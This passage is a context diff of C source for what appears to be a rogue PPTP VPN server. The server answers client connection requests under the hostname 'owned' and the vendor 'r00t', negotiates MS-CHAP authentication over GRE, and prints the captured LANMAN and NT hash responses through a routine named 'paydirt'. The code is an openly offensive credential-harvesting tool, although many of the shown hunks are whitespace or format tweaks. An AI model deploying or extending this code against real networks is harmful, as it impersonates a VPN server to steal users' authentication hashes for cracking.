! #define PPP_LCP_CODE_CONF_ACK 2
! #define PPP_LCP_CODE_IDENT 12
/* LCP Config Options */
#define PPP_LCP_CONFIG_OPT_AUTH 3
! #define PPP_LCP_CONFIG_OPT_MAGIC 5
! #define PPP_LCP_CONFIG_OPT_PFC 7
! #define PPP_LCP_CONFIG_OPT_ACFC 8
/* Auth Algorithms */
! #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP 0x80
/* CHAP Codes */
! #define PPP_CHAP_CODE_CHALLENGE 1
! #define PPP_CHAP_CODE_RESPONCE 2
! #define PPP_CHAP_CODE_SUCESS 3
! #define PPP_CHAP_CODE_FAILURE 4
! #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1 5
! #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2 6
! #define PPP_CHAP_CHALLENGE_SIZE 8
#define PPP_CHAP_RESPONCE_SIZE 49
#define MSCHAP_ERROR "E=648 R=0"
***************
*** 263,269 ****
u_int8_t type;
u_int8_t length;
};
!
struct ppp_chap_challenge {
u_int8_t size;
--- 270,276 ----
u_int8_t type;
u_int8_t length;
};
!
struct ppp_chap_challenge {
u_int8_t size;
***************
*** 287,293 ****
u_int16_t flags;
};
! #define ppp_chap_responce ppp_chap_challenge
void net_init();
void getjiggywithit();
--- 294,300 ----
u_int16_t flags;
};
! #define ppp_chap_responce ppp_chap_challenge
void net_init();
void getjiggywithit();
***************
*** 384,390 ****
switch(type)
{
/* we got a live one */
! case PPTP_START_CTRL_CONN_RQST:
send_start_ctrl_conn_rply();
break;
case PPTP_OUT_CALL_RQST:
--- 391,397 ----
switch(type)
{
/* we got a live one */
! case PPTP_START_CTRL_CONN_RQST:
send_start_ctrl_conn_rply();
break;
case PPTP_OUT_CALL_RQST:
***************
*** 418,424 ****
p.result_code = 1;
p.framing_cap = hton32(PPTP_FRAME_ASYNC); /* whatever */
p.bearer_cap = hton32(PPTP_BEARER_ANALOG); /* ditto */
! bcopy("owned", p.hostname, 5);
bcopy("r00t", p.vendor, 4);
len = write(sd, &p, hlen);
--- 425,431 ----
p.result_code = 1;
p.framing_cap = hton32(PPTP_FRAME_ASYNC); /* whatever */
p.bearer_cap = hton32(PPTP_BEARER_ANALOG); /* ditto */
! bcopy("owned", p.hostname, 5);
bcopy("r00t", p.vendor, 4);
len = write(sd, &p, hlen);
***************
*** 441,447 ****
pptp_gre_call_id = r->call_id;
/* Start a process to handle the GRE/PPP packets */
! if (!gre)
{
gre = 1;
switch((pid = fork()))
--- 448,454 ----
pptp_gre_call_id = r->call_id;
/* Start a process to handle the GRE/PPP packets */
! if (!gre)
{
gre = 1;
switch((pid = fork()))
***************
*** 483,489 ****
#ifndef BROKEN_RAW_CONNECT
struct sockaddr_in src_addr;
#endif
! int s, n, stat;
/* Open IP protocol socket */
rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
--- 490,496 ----
#ifndef BROKEN_RAW_CONNECT
struct sockaddr_in src_addr;
#endif
! int n, stat;
/* Open IP protocol socket */
rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
***************
*** 523,529 ****
}
/* Close up when done. */
! close(rsd);
}
int decaps_gre (int (*cb)(void *pack, unsigned len)) {
--- 530,536 ----
}
/* Close up when done. */
! close(rsd);
}
int decaps_gre (int (*cb)(void *pack, unsigned len)) {
***************
*** 531,540 ****
struct pptp_gre_header *header;
int status, ip_len=0;
! if((status=read(rsd, buffer, sizeof(buffer)))<0)
{perror("gre"); exit(1); }
/* strip off IP header, if present */
! if ((buffer[0]&0xF0)==0x40)
ip_len = (buffer[0]&0xF)*4;
header = (struct pptp_gre_header *)(buffer+ip_len);
--- 538,547 ----
struct pptp_gre_header *header;
int status, ip_len=0;
! if((status=read(rsd, buffer, sizeof(buffer)))<0)
{perror("gre"); exit(1); }
/* strip off IP header, if present */
! if ((buffer[0]&0xF0)==0x40)
ip_len = (buffer[0]&0xF)*4;
header = (struct pptp_gre_header *)(buffer+ip_len);
***************
*** 546,555 ****
(!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set */
((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0 */
/* if invalid, discard this packet */
! printf("Discarding GRE: %X %X %X %X %X %X",
! ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
PPTP_GRE_IS_C(ntoh8(header->flags)),
! PPTP_GRE_IS_R(ntoh8(header->flags)),
PPTP_GRE_IS_K(ntoh8(header->flags)),
ntoh8(header->flags)&0xF);
return 0;
--- 553,562 ----
(!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set */
((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0 */
/* if invalid, discard this packet */
! printf("Discarding GRE: %X %X %X %X %X %X",
! ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
PPTP_GRE_IS_C(ntoh8(header->flags)),
! PPTP_GRE_IS_R(ntoh8(header->flags)),
PPTP_GRE_IS_K(ntoh8(header->flags)),
ntoh8(header->flags)&0xF);
return 0;
***************
*** 569,585 ****
/* check for incomplete packet (length smaller than expected) */
if (status-headersize<payload_len) {
printf("incomplete packet\n");
! return 0;
}
/* check for out-of-order sequence number */
/* (handle sequence number wrap-around, cuz we're cool) */
! if ((seq > seq_recv) ||
(((seq>>31)==0) && (seq_recv>>31)==1)) {
seq_recv = seq;
return cb(buffer+ip_len+headersize, payload_len);
} else {
! printf("discarding out-of-order\n");
return 0; /* discard out-of-order packets */
}
}
--- 576,592 ----
/* check for incomplete packet (length smaller than expected) */
if (status-headersize<payload_len) {
printf("incomplete packet\n");
! return 0;
}
/* check for out-of-order sequence number */
/* (handle sequence number wrap-around, cuz we're cool) */
! if ((seq > seq_recv) ||
(((seq>>31)==0) && (seq_recv>>31)==1)) {
seq_recv = seq;
return cb(buffer+ip_len+headersize, payload_len);
} else {
! printf("discarding out-of-order\n");
return 0; /* discard out-of-order packets */
}
}
***************
*** 593,599 ****
} u;
static u_int32_t seq=0;
unsigned header_len;
- int out;
/* package this up in a GRE shell. */
u.header.flags = hton8 (PPTP_GRE_FLAG_K);
--- 600,605 ----
***************
*** 601,609 ****
u.header.protocol = hton16(PPTP_GRE_PROTO);
u.header.payload_len = hton16(len);
u.header.call_id = hton16(pptp_gre_call_id);
!
/* special case ACK with no payload */
! if (pack==NULL)
if (ack_sent != seq_recv) {
u.header.ver |= hton8(PPTP_GRE_FLAG_A);
u.header.payload_len = hton16(0);
--- 607,615 ----
u.header.protocol = hton16(PPTP_GRE_PROTO);
u.header.payload_len = hton16(len);
u.header.call_id = hton16(pptp_gre_call_id);
!
/* special case ACK with no payload */
! if (pack==NULL)
if (ack_sent != seq_recv) {
u.header.ver |= hton8(PPTP_GRE_FLAG_A);
u.header.payload_len = hton16(0);
***************
*** 670,676 ****
/* ignore */
break;
default:
! printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code,
p->header.ident, ntoh16(p->header.length));
}
break;
--- 676,682 ----
/* ignore */
break;
default:
! printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code,
p->header.ident, ntoh16(p->header.length));
}
break;
***************
*** 686,697 ****
paydirt(pack);
break;
default:
! printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code,
p->header.ident, ntoh16(p->header.length));
}
break;
default:
! printf("<- PPP unknwon packet: %X\n", ntoh16(p->ppp.proto));
}
return(1);
--- 692,703 ----
paydirt(pack);
break;
default:
! printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code,
p->header.ident, ntoh16(p->header.length));
}
break;
default:
! printf("<- PPP unknwon packet: %X\n", ntoh16(p->ppp.proto));
}
return(1);
***************
*** 731,737 ****
pkt.auth.length = hton8(5);
pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
pkt.auth.algorithm = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);
!
encaps_gre(&pkt, 13);
}
--- 737,743 ----
pkt.auth.length = hton8(5);
pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
pkt.auth.algorithm = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);
!
encaps_gre(&pkt, 13);
}
***************
*** 757,762 ****
--- 763,769 ----
}
void print_challenge_responce(void *pack)
+
{
unsigned char name[512], *c;
int len;
***************
*** 769,780 ****
p = pack;
c = p->responce.value.responce.lanman;
! printf(" LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
c[22], c[23]);
c = p->responce.value.responce.nt;
! printf(" NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
c[22], c[23]);
--- 776,787 ----
p = pack;
c = p->responce.value.responce.lanman;
! printf(" LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
c[22], c[23]);
c = p->responce.value.responce.nt;
! printf(" NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
c[22], c[23]);